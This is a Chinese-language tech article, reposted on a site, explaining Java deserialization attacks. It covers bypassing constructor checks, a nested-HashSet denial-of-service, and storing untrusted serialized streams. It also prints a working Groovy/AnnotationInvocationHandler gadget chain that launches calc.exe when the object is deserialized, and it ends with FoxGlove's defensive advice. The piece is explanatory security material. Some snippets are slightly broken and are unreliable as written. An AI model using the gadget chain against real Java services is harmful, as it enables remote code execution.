JAVA 反序列化攻击(java dataoutputstream乱码)

网友投稿 3360 2022-08-31

本站部分文章、图片属于网络上可搜索到的公开信息,均用于学习和交流用途,不能代表睿象云的观点、立场或意见。我们接受网民的监督,如发现任何违法内容或侵犯了您的权益,请第一时间联系小编邮箱jiasou666@gmail.com 处理。

JAVA 反序列化攻击(java dataoutputstream乱码)

说到漏洞存在的原因,根本还在于 Java 序列化自身的缺陷,众所周知,序列化的目的是使 Java 对象转化成字节流,方便存储或者网络上传输。Java 对象分解成字节码过程叫做序列化,从字节码组装成 Java 对象的过程叫做反序列化,这两个过程分别对应于的 writeObject 和 readObject 方法。问题在于 readObject 在利用字节流组装 Java 对象时不会调用构造函数, 也就意味着没有任何类型的检查,用户可以复写 readObject() 方法执行任何希望执行的代码。

这可能会导致三方面问题:

1. 序列化对象修改了对象或者父类的某个未加保护的关键属性,导致未预料的结果。例如:

class Client {private int value;public Client(int v) { if (v <= 0) { throw new RuntimeException("not positive number"); } value = v; } public void writeObject(ObjectOutputStream oos) throws IOException { int value = 0; //这里该值被改为0。(现实中可以通过调试模式,修改serialize字节码或者class instrument等多种方式修改该值) oos.defaultWriteObject(); }}class Controller { private ArrayBlockingQueue queue; public void receiveState(ObjectInputStream o) throws IOException, ClassNotFoundException { Client s = (Client)o.readObject(); //反序列化不调用构造函数,value的非零检查不会触发 queue.add(s); } public Client getClient() throws InterruptedException { return (Client)queue.take(); }}class Server extends Thread { private Controller controller = new Controller(); private int result = 100; public void run() { while (true) { try { result = result / controller.getClient().getValue(); // 由于value是0,会导致算数异常,线程结束 Thread.sleep(100); } catch (InterruptedException e) {} } }}

2. 攻击者可以创建循环对象链,然后序列化。会导致反序列化无法结束, 空耗系统资源。例如:

Set root = new HashSet();Set s1 = root;Set s2 = new HashSet();for (int i = 0; i < 10; i++) { Set t1 = new HashSet(); Set t2 = new HashSet(); t1.add("foo"); //使t2不等于t1 s1.add(t1); s1.add(t2); s2.add(t1); s2.add(t2); s1 = t1; s2 = t2; }

3. 用户在收到序列化对象流时可以选择存储在本地,以后再处理。由于没有任何校验机制,使得上传恶意程序成为可能。

class Controller { public void receiveState(ObjectInputStream ois) { FileOutputStream fos = new FileOutputStream(new File("xxx.ser")); fos.write(ois); //实际并不知道存的是什么,可能是恶意脚本。 fos.close(); }}

那么这次由 FoxGlove 暴露出来的 Serialization Attack 具体是怎样呢?下面是 Groovy 的一个例子:

public class GroovyTest {public static void main(String[] args) throws Exception { final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe", "execute"), "entrySet"); Class[] clsArr = {Map.class}; final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader(), clsArr, closure)); final Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class, map); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(handler); byte[] bytes = bos.toByteArray(); //对象被序列化 ByteArrayInputStream bis = new ByteArrayInputStream(bytes); ObjectInputStream ois = new ObjectInputStream(bis); ois.readObject(); //反序列化时calc.exe被执行}}

在这个例子中,ConvertedClosure 会把一个 Closure 对象映射成 Java 的 entrySet 方法,而在AnnotationInvocationHandler 的 readObject 方法中,会尝试调用 entrySet() 方法,这会触发 calc.exe 的调用。

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if(var7 != null) { Object var8 = var5.getValue(); if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } }}

针对这个问题,FoxGlove Security 提到开发者不应该反序列化任何不信任的数据,而实际情况却是开发者对该问题的危害没有足够的认知,他提到一种激进的做法那就是如果你足够勇敢可以尝试扫描并删除存在反序列化漏洞的类,但是实际情况是第一没有人敢于冒这种风险,第二,当应用对象的依赖关系会很复杂,反序列化过程会导致很多关联对象被创建,所以扫描不能保证所有的问题类被发现。

上一篇:使用 .NET 平台,如何玩转 Universal Windows 应用?(使用灭火器灭火的最佳位置是)
下一篇:WordPress 全方位优化指南(下)(wordpress网站怎么进入)
相关文章

 发表评论

暂时没有评论,来抢沙发吧~